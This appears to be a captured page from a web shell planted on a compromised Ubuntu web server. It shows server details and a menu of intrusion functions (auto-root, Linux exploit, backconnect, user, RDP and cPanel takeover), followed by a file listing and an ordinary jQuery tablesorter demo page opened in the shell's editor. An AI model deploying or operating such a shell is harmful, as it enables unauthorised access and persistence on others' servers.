Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
admins /
sort /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-x--x
css
[ DIR ]
drwxr-x--x
fonts
[ DIR ]
drwxr-x--x
img
[ DIR ]
drwxr-x--x
js
[ DIR ]
drwxr-x--x
example-add-rows.html
3.46
KB
-rwxr-x--x
example-ajax.html
2.97
KB
-rwxr-x--x
example-apply-widget.html
3.81
KB
-rwxr-x--x
example-child-rows-filtered.ht...
51.31
KB
-rwxr-x--x
example-child-rows.html
42.24
KB
-rwxr-x--x
example-colspan.html
7.75
KB
-rwxr-x--x
example-css-highlighting.html
14.78
KB
-rwxr-x--x
example-dragtable.html
12.64
KB
-rwxr-x--x
example-empty-table.html
2.48
KB
-rwxr-x--x
example-extending-defaults.htm...
2.28
KB
-rwxr-x--x
example-extractors-parsers.htm...
5.03
KB
-rwxr-x--x
example-header-column-span.htm...
2.81
KB
-rwxr-x--x
example-locale-sort.html
4.48
KB
-rwxr-x--x
example-meta-headers.html
2.9
KB
-rwxr-x--x
example-meta-parsers.html
2.73
KB
-rwxr-x--x
example-meta-sort-list.html
2.86
KB
-rwxr-x--x
example-method-sortreset.html
2.9
KB
-rwxr-x--x
example-multiple-tbodies.html
3.07
KB
-rwxr-x--x
example-option-built-in-parser...
3.86
KB
-rwxr-x--x
example-option-custom-sort.htm...
6.73
KB
-rwxr-x--x
example-option-date-format.htm...
4.62
KB
-rwxr-x--x
example-option-debug.html
2.48
KB
-rwxr-x--x
example-option-delay-init.html
781.24
KB
-rwxr-x--x
example-option-digits.html
3.48
KB
-rwxr-x--x
example-option-render-header.h...
4.62
KB
-rwxr-x--x
example-option-render-template...
4.31
KB
-rwxr-x--x
example-option-selectorsort.ht...
2.85
KB
-rwxr-x--x
example-option-show-processing...
111.69
KB
-rwxr-x--x
example-option-sort-append.htm...
4.13
KB
-rwxr-x--x
example-option-sort-empty.html
4.78
KB
-rwxr-x--x
example-option-sort-force.html
2.41
KB
-rwxr-x--x
example-option-sort-key.html
2.35
KB
-rwxr-x--x
example-option-sort-list.html
3.35
KB
-rwxr-x--x
example-option-sort-order.html
2.19
KB
-rwxr-x--x
example-option-sortreset-sortr...
3.32
KB
-rwxr-x--x
example-option-text-extraction...
3.85
KB
-rwxr-x--x
example-option-textsorter-semv...
4.01
KB
-rwxr-x--x
example-option-theme-bootstrap...
14.26
KB
-rwxr-x--x
example-option-theme-bootstrap...
18.36
KB
-rwxr-x--x
example-option-theme-bootstrap...
13.29
KB
-rwxr-x--x
example-option-theme-materiali...
14.25
KB
-rwxr-x--x
example-option-theme-metro-sty...
8.94
KB
-rwxr-x--x
example-options-headers-digits...
5.63
KB
-rwxr-x--x
example-options-headers-locked...
3.09
KB
-rwxr-x--x
example-options-headers-order....
3.32
KB
-rwxr-x--x
example-options-headers-parser...
3.2
KB
-rwxr-x--x
example-options-headers.html
3.51
KB
-rwxr-x--x
example-pager-ajax.html
19.67
KB
-rwxr-x--x
example-pager-filtered.html
17.67
KB
-rwxr-x--x
example-pager.html
24.41
KB
-rwxr-x--x
example-parsers-advanced.html
4.11
KB
-rwxr-x--x
example-parsers-class-name.htm...
3.6
KB
-rwxr-x--x
example-parsers-date-range.htm...
4.8
KB
-rwxr-x--x
example-parsers-dates.html
8.44
KB
-rwxr-x--x
example-parsers-duration.html
6.11
KB
-rwxr-x--x
example-parsers-feet-inch-frac...
3.33
KB
-rwxr-x--x
example-parsers-file-type.html
7.92
KB
-rwxr-x--x
example-parsers-globalize.html
8.63
KB
-rwxr-x--x
example-parsers-ignore-article...
49.84
KB
-rwxr-x--x
example-parsers-ip-address.htm...
4.46
KB
-rwxr-x--x
example-parsers-jquery-data.ht...
2.89
KB
-rwxr-x--x
example-parsers-leading-zeros....
4.83
KB
-rwxr-x--x
example-parsers-metric.html
6.06
KB
-rwxr-x--x
example-parsers-named-numbers....
4.95
KB
-rwxr-x--x
example-parsers-roman.html
8.33
KB
-rwxr-x--x
example-parsers.html
6.86
KB
-rwxr-x--x
example-trigger-sort.html
9.72
KB
-rwxr-x--x
example-triggers.html
109.58
KB
-rwxr-x--x
example-update-all.html
3.07
KB
-rwxr-x--x
example-update-cell.html
3.15
KB
-rwxr-x--x
example-widget-align-character...
16.6
KB
-rwxr-x--x
example-widget-bootstrap-theme...
966
B
-rwxr-x--x
example-widget-build-table.htm...
38.32
KB
-rwxr-x--x
example-widget-chart.html
22.81
KB
-rwxr-x--x
example-widget-column-selector...
40.93
KB
-rwxr-x--x
example-widget-columns.html
5.68
KB
-rwxr-x--x
example-widget-css-sticky-head...
29.02
KB
-rwxr-x--x
example-widget-current-sort.ht...
3.39
KB
-rwxr-x--x
example-widget-editable.html
23.5
KB
-rwxr-x--x
example-widget-filter-any-matc...
12.42
KB
-rwxr-x--x
example-widget-filter-childrow...
7.42
KB
-rwxr-x--x
example-widget-filter-custom-s...
16.56
KB
-rwxr-x--x
example-widget-filter-custom-s...
6.45
KB
-rwxr-x--x
example-widget-filter-custom.h...
21.8
KB
-rwxr-x--x
example-widget-filter-external...
7.9
KB
-rwxr-x--x
example-widget-filter-formatte...
33.97
KB
-rwxr-x--x
example-widget-filter-formatte...
14.05
KB
-rwxr-x--x
example-widget-filter-formatte...
7.78
KB
-rwxr-x--x
example-widget-filter-selectme...
6.16
KB
-rwxr-x--x
example-widget-filter.html
54.19
KB
-rwxr-x--x
example-widget-formatter.html
8.52
KB
-rwxr-x--x
example-widget-grouping-filter...
8.06
KB
-rwxr-x--x
example-widget-grouping.html
49.92
KB
-rwxr-x--x
example-widget-header-titles.h...
13.69
KB
-rwxr-x--x
example-widget-lazyload.html
15.95
KB
-rwxr-x--x
example-widget-mark.html
20.68
KB
-rwxr-x--x
example-widget-math.html
43.66
KB
-rwxr-x--x
example-widget-output.html
61.47
KB
-rwxr-x--x
example-widget-pager-ajax.html
15.23
KB
-rwxr-x--x
example-widget-pager.html
24.57
KB
-rwxr-x--x
example-widget-print.html
14.87
KB
-rwxr-x--x
example-widget-reflow.html
31.35
KB
-rwxr-x--x
example-widget-reflow1.html
3.39
KB
-rwxr-x--x
example-widget-reflow2.html
8.09
KB
-rwxr-x--x
example-widget-reflow3.html
3.63
KB
-rwxr-x--x
example-widget-resizable.html
19.12
KB
-rwxr-x--x
example-widget-savesort.html
4.55
KB
-rwxr-x--x
example-widget-scroller.html
46.42
KB
-rwxr-x--x
example-widget-sort-tbodies.ht...
22.76
KB
-rwxr-x--x
example-widget-sort-to-hash.ht...
29.17
KB
-rwxr-x--x
example-widget-static-row.html
11.06
KB
-rwxr-x--x
example-widget-sticky-header.h...
37.16
KB
-rwxr-x--x
example-widget-toggle-tablesor...
7.54
KB
-rwxr-x--x
example-widget-ui-theme.html
7.96
KB
-rwxr-x--x
example-widget-vertical-group....
4.05
KB
-rwxr-x--x
example-widget-view.html
20.95
KB
-rwxr-x--x
example-widget-zebra.html
3.5
KB
-rwxr-x--x
example-widgets.html
11.71
KB
-rwxr-x--x
index.html
427.02
KB
-rwxr-x--x
themes.html
8.48
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example-widget-view.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>jQuery tablesorter 2.0 - View Widget</title> <!-- jQuery --> <script src="js/jquery-latest.min.js"></script> <script src="js/jquery-ui.min.js"></script> <!-- Demo stuff --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.3.0/css/font-awesome.min.css"> <link class="ui-theme" rel="stylesheet" href="css/jquery-ui.min.css"> <link rel="stylesheet" href="css/jq.css"> <link rel="stylesheet" href="css/prettify.css"> <script src="js/prettify.js"></script> <script src="js/docs.js"></script> <!--<link rel="stylesheet" href="css/bootstrap-v3.min.css">--> <!--<script src="js/bootstrap.min.js"></script>--> <!-- Tablesorter: required --> <link rel="stylesheet" href="../css/theme.blue.css"> <script src="../js/jquery.tablesorter.js"></script> <script src="../js/widgets/widget-storage.js"></script> <script src="../js/widgets/widget-pager.js"></script> <script src="../js/widgets/widget-filter.js"></script> <script src="../js/widgets/widget-view.js"></script> <style> h1 { font-size: 28px; } /* override jQuery UI overriding Bootstrap */ .accordion .ui-widget-content a { color: #337ab7; } /* .spacer in docs css is set to height:800px for stickyHeader demo */ #pager .spacer { height: auto; } .wrapper { padding: 5px; } /* override doc style; not sure why form > font-size: 10pt?! */ #pager form { font-size: 16px; } .thumb { width: 135px; } .part-number { width: 10%; } .part-name { width: 10%; } .part-price { width: 10%; } </style> <style id="css">#demo { font-size: 12px; font-family: Tahoma, Arial, sans-serif; color: #333; } #demo img { border: 0; } #demo h1, #demo h3 { font-weight: normal; line-height: 1em; color: #545454; letter-spacing: -0.04em; padding: 0; margin: 0; text-decoration: none; border: none !important; white-space: nowrap; } #demo h1 { font-size: 3em; position: relative; top: 8px; } #demo .filtered { display: none !important; } #viewHeader { position: relative; height: 35px; } #viewHeader section.left { display: block; float: left; width: 200px; position: relative; padding-left: 20px; } #viewHeader section.right { display: block; float: right; margin-right: 10px; width: 400px; text-align: right; } .hasPrice:before { content: attr(data-currencysym) " "; } .hasPrice:after { content: " " attr(data-currencycode); } #pager { width: 100%; text-align: center; font-size: 1.35em; } #tablesearch { font-size: 1.5em; } #ts-view { width: 100%; display: block; } #ts-view-toolbar { display: inline-block; } .ts-view-switcher { font-size: 24px; color: #fff; padding-left: 5px; } .ts-view-switcher:last-child { padding-right: 15px; } .ts-view-switcher i, .mybutton { padding: 5px; border-radius: 5px; text-shadow: 0 1px 1px #777; box-shadow: 0 1px 2px 0 #777; color: #fff; text-transform: uppercase; border: 0; background: rgb(70, 74, 88); background: -webkit-linear-gradient(top, rgba(70, 74, 88, 1) 0%, rgba(43, 47, 58, 1) 100%); background: linear-gradient(to bottom, rgba(70, 74, 88, 1) 0%, rgba(43, 47, 58, 1) 100%); filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#464a58', endColorstr='#2b2f3a', GradientType=0); } .ts-view-switcher:hover i, .mybutton:not(.nohover):hover { background: rgb(252, 172, 94); background: -webkit-linear-gradient(top, rgba(252, 172, 94, 1) 0%, rgba(221, 135, 49, 1) 100%); background: linear-gradient(to bottom, rgba(252, 172, 94, 1) 0%, rgba(221, 135, 49, 1) 100%); filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#fcac5e', endColorstr='#dd8731', GradientType=0); } .ts-view-switcher.active i, .mybutton.active { background: rgb(235, 181, 111); background: -webkit-linear-gradient(top, rgba(235, 181, 111, 1) 0%, rgba(203, 145, 68, 1) 100%); background: linear-gradient(to bottom, rgba(235, 181, 111, 1) 0%, rgba(203, 145, 68, 1) 100%); filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#ebb56f', endColorstr='#cb9144', GradientType=0); } .mybutton { margin-left: 8px; padding: 8px; width: 100px; cursor: pointer; } /** list view **/ ul.list { list-style: none; width: 100%; padding: 0; padding-bottom: 10px; } ul.list li { display: block; background: #c9d0d1; padding: 10px 15px; } ul.list li.odd { background: #d7dfe0; } ul.list li section.left { display: block; float: left; width: 70%; position: relative; padding-left: 20px; } ul.list li section.right { display: block; float: right; margin-right: 10px; width: 250px; text-align: right; } ul.list li section.left img.thumb { float: left; margin-right: 10px; width: 80px; } ul.list li section.left img.featured-banner { position: absolute; left: -18px; top: -3px; width: 100px; } ul.list li section.left h3 { font-family: "Trebuchet MS", Arial, sans-serif; font-weight: bold; text-transform: uppercase; color: #707375; font-size: 1.4em; line-height: 1.6em; } ul.list li section.left span.meta { color: #93989b; font-weight: normal; font-size: 1.1em; } ul.list li section.right span.price { font-weight: bold; display: block; margin-bottom: 15px; color: #ad3939; font-size: 1.6em; text-align: right; } ul.list li section.right a.firstbtn { margin-right: 7px; } /** grid view **/ ul.grid { list-style: none; margin: 0 auto; padding: 0; padding-top: 10px; padding-bottom: 10px; display: block; width: 680px; } ul.grid li { position: relative; display: inline-table; width: 220px; height: 200px; border-right: 1px solid #b6bdbe; padding: 5px 22px; margin-bottom: 20px; box-sizing: border-box; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; } ul.grid li:nth-child(3n+3) { border: 0; } ul.grid li section.left { position: relative; } ul.grid li section.right { /* nothing */ } ul.grid li section.left img.thumb { margin: 0 18px; width: 140px; } ul.grid li section.left img.featured-banner { position: absolute; top: -3px; left: 16px; } ul.grid li section.left h3 { font-family: "Trebuchet MS", Arial, sans-serif; font-weight: bold; text-transform: uppercase; color: #707375; font-size: 1.4em; line-height: 1.5em; } ul.grid li section.left span.meta { display: block; color: #93989b; font-weight: normal; font-size: 1.1em; margin-bottom: 7px; } ul.grid li section.right span.price { font-weight: bold; display: block; margin-bottom: 5px; color: #ad3939; font-size: 1.75em; } ul.grid li section.right span.darkview { opacity: 0; margin: 0; position: absolute; top: 0; left: 0; width: 190px; height: 100%; margin: 0 15px; border-radius: 6px; background: rgba(40, 45, 55, 0.75); overflow: hidden; text-align: center; padding-top: 35px; box-sizing: border-box; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; transition: opacity 0.2s linear 0s; -webkit-transition: opacity 0.2s linear 0s; } ul.grid li:hover section.right span.darkview { opacity: 1; } ul.grid li section.right span.darkview a.firstbtn { display: block; margin-bottom: 10px; } /** clearfix **/ .clearfix:after { content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0; } .clearfix { display: inline-block; } html[xmlns] .clearfix { display: block; } * html .clearfix { height: 1%; } </style> </head> <body> <div id="banner"> <h1>table<em>sorter</em></h1> <h2>View Widget (beta)</h2> <h3>Flexible client-side table sorting</h3> <a href="index.html">Back to documentation</a> </div> <div id="main"> <p></p> <br> <div id="root" class="accordion"> <h3 id="notes"><a href="#">Notes</a></h3> <div> <ul> <li>This widget will <strong>only work</strong> in tablesorter version 2.24.0+ and jQuery version 1.7+.</li> <li>When it's done building the view 'viewComplete' will be tiggered</li> <li>{coln} will be replaced with the row/coln value wrapped by a span that has the classes/attributes of the original unless :raw is use, then the text value of row/coln will be used. ie: {col0:raw}</li> </ul> </div> <h3 id="options"><a href="#">Options</a></h3> <div> <div> <span class="label label-info">TIP!</span> Click on the link in the function column to reveal full details (or <a href="#" class="toggleAll">toggle</a>|<a href="#" class="showAll">show</a>|<a href="#" class="hideAll">hide</a> all) or double click to update the browser location. </div> <table class="options tablesorter-blue"> <thead> <tr> <th class="option">Option</th> <th class="defaults">Default</th> <th class="sorter-false">Description</th> </tr> </thead> <tbody> <tr id="view-toolbar"> <td><a href="#" class="permalink">view_toolbar</a></td> <td>'#ts-view-toolbar'</td> <td>Element to insert toolbar (view buttons) into. <div class="collapsible"> <p></p> This option allows you to select which element the view buttons will be injected into. </div> </td> </tr> <tr id="view-container"> <td><a href="#" class="permalink">view_container</a></td> <td>'#ts-view'</td> <td>Element to insert the view into. <div class="collapsible"> <p></p> This option allows you to select which element the view will be injected into. </div> </td> </tr> <tr id="view-caption"> <td><a href="#" class="permalink">view_caption</a></td> <td>'#ts-view-caption'</td> <td>Element to copy the tabel caption into curing views. <div class="collapsible"> <p></p> This option allows you to select which element to copy thre caption into during views. </div> </td> </tr> <tr id="view-switcher-class"> <td><a href="#" class="permalink">view_switcher_class</a></td> <td>'ts-view-switcher'</td> <td>Class name to be added to all view buttons. <div class="collapsible"> <p></p> Name of the class to be added to all view buttons. <p></p> <span class="label warning">* Note *</span> Just put in the name of the class do NOT put a . in front of it. </div> </td> </tr> <tr id="view-layout"> <td><a href="#" class="permalink">view_layout</a></td> <td>false</td> <td>Default view to display on startup. <div class="collapsible"> <p></p> Default view to display on startup, false means none. The value must be an object in <a href="#view-layouts">view_layouts</a>. </div> </td> </tr> <tr id="view-layouts"> <td><a href="#" class="permalink">view_layouts</a></td> <td>{ 'view': { <options> } }</td> <td>List of available layouts and it's options. <div class="collapsible"> <p></p> In this object you setup each view. <ul> <li><code>icon</code> - This is the class for the view button</li> <li><code>title</code> - Title of this view</li> <li><code>container</code> - Wrapper node for this view</li> <li><code>tpml</code> - HTML layout for this view, {col<i>n</i>} will be replaced with the value in that col <i>n</i></li> <li><code>raw</code> - This is in case you want the raw table data, <code>container</code> and <code>tpml</code> are ignored when raw is <code>true</code>.</li> </ul> </div> </td> </tr> </tbody> </table> </div> </div> <p></p> <h1>View Demo</h1> <p></p> <div id="demo"><!-- View Widget --> <div> <div id="viewHeader"> <section class="left"> <h1 id="ts-view-caption"></h1> </section> <section class="right"> <input type="search" id="tablesearch" placeholder="Search..." data-column="1,2,3" /> <div id="ts-view-toolbar"></div> </section> </div> <div id="ts-view"></div> </div> <!-- Table --> <table id="table" class="tablesorter"> <caption>Our Products</caption> <thead> <tr> <th class="thumb"></th> <th class="part-number">PN</th> <th class="part-name">Name</th> <th class="part-descript">Description</th> <th class="part-price">Price</th> </tr> </thead> <tbody> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10001</td> <td>Widget 1</td> <td>This is Widget 1, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">19.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10002</td> <td>Widget 2</td> <td>This is Widget 2, it's nice fluffy and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">1.99</td> </tr> <tr> <td> <img src="img/sale-banner.png" alt="on sale" class="featured-banner"> <img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /> </td> <td>001-10003</td> <td>Widget 3</td> <td>This is Widget 3, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">89.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10004</td> <td>Widget 4</td> <td>This is Widget 4, it's nice soft and unique. I'ts also a little fluffy but not nice and fluffy.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">49.99</td> </tr> <tr> <td> <img src="img/new-product-banner.png" alt="on sale" class="featured-banner"> <img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /> </td> <td>001-10005</td> <td>Widget 5</td> <td>This is Widget 5, it's nice soft and unique. This one also have a unique smell and texture. Not for human consumption.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">18.49</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10006</td> <td>Widget 6</td> <td>This is Widget 6, it's nice soft and unique. Nothing special here but I do want a longer description so I can see how things line up, or in this case don't line up. Oh but this is the only Widget we have in purple!</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">69.98</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10007</td> <td>Widget 7</td> <td>This is Widget 7, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">4.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10008</td> <td>Widget 8</td> <td>This is Widget 8, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">17.89</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10009</td> <td>Widget 9</td> <td>This is Widget 9, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">17.49</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10010</td> <td>Widget 10</td> <td>This is Widget 10, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">119.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10011</td> <td>Widget 11</td> <td>This is Widget 11, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">18.88</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10012</td> <td>Widget 12</td> <td>This is Widget 12, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">19.97</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10013</td> <td>Widget 13</td> <td>This is Widget 13, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">9.98</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10014</td> <td>Widget 14</td> <td>This is Widget 14, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">29.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10015</td> <td>Widget 15</td> <td>This is Widget 15, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">44.95</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10016</td> <td>Widget 16</td> <td>This is Widget 16, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">8.69</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10017</td> <td>Widget 17</td> <td>This is Widget 17, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">17.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10018</td> <td>Widget 18</td> <td>This is Widget 18, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">219.99</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10019</td> <td>Widget 19</td> <td>This is Widget 19, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">1.98</td> </tr> <tr> <td><img src="img/grid-default-thumb.png" alt="default thumb" class="thumb" /></td> <td>001-10020</td> <td>Widget 20</td> <td>This is Widget 20, it's nice soft and unique.</td> <td class="hasPrice" data-currencysym="$" data-currencycode="CAD">9.97</td> </tr> </tbody> </table> <!-- Pager --> <div id="pager" class="pager"> <form> <i class="fa fa-step-backward first clickable" title="First page"></i> <i class="fa fa-backward prev clickable" title="Previous page"></i> <span class="pagedisplay"></span> <i class="fa fa-forward next clickable" title="Next page"></i> <i class="fa fa-step-forward last clickable" title="Last page"></i> <select class="pagesize"> <option value="6">6</option> <option value="9">9</option> <option value="12">12</option> </select> </form> </div> </div> <h1>Page Header</h1> <div> <pre class="prettyprint lang-html"> <!-- jQuery --> <script src="js/jquery-latest.min.js"></script> <!-- Demo stuff --> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.3.0/css/font-awesome.min.css"> <!-- Tablesorter: required --> <link rel="stylesheet" href="../css/theme.blue.css"> <script src="../js/jquery.tablesorter.js"></script> <script src="../js/widgets/widget-view.js"></script> <!-- Tablesorter: optional --> <script src="../js/jquery.tablesorter.widgets.js"></script> <script src="../js/widgets/widget-filter.js"></script> <script src="../js/widgets/widget-pager.js"></script></pre> </div> <h1>Javascript</h1> <div id="javascript"> <pre class="prettyprint lang-javascript"></pre> </div> <h1>CSS</h1> <div id="css"> <pre class="prettyprint lang-css"></pre> </div> <h1>HTML</h1> <div id="html"> <pre class="prettyprint lang-html"></pre> </div> </div> <script id="js">$(function() { /* Initial settings */ var template = '<li class="clearfix">' + '<section class="left">{col0}' + '<h3>{col2}</h3>' + '<span class="meta">Product ID: {col1}</span>' + '<p>{col3}</p>' + '</section>' + '<section class="right">' + '<span class="price">{col4}</span>' + '<span class="darkview">' + '<button type="button" class="mybutton nohover" title="Read More..." >More</button>' + '<button type="button" class="mybutton nohover active" title="Add to Cart" >Add To Cart</button>' + '</span>' + '</section>' + '</li>', views = { grid: { icon: 'fa fa-th', title: 'GridView', container: '<ul>', tmpl: template }, list: { icon: 'fa fa-th-list', title: 'ListView', container: '<ul>', tmpl: template }, table: { icon: 'fa fa-table', title: 'Orignal TableSorter View', raw: true } }; $('#table').tablesorter({ theme: 'blue', widthFixed: true, sortList: [[1, 0]], widgets: ['pager', 'zebra', 'filter', 'view'], widgetOptions: { filter_external: '#tablesearch', filter_columnFilters: false, pager_selectors: { container: '#pager' }, pager_output: 'Showing {startRow} to {endRow} of {filteredRows} results', pager_size: 6, view_layout: 'list', view_layouts: views } }); });</script> <script> $(function() { $('[data-toggle="tooltip"]').tooltip(); }); </script> </body> </html>
Close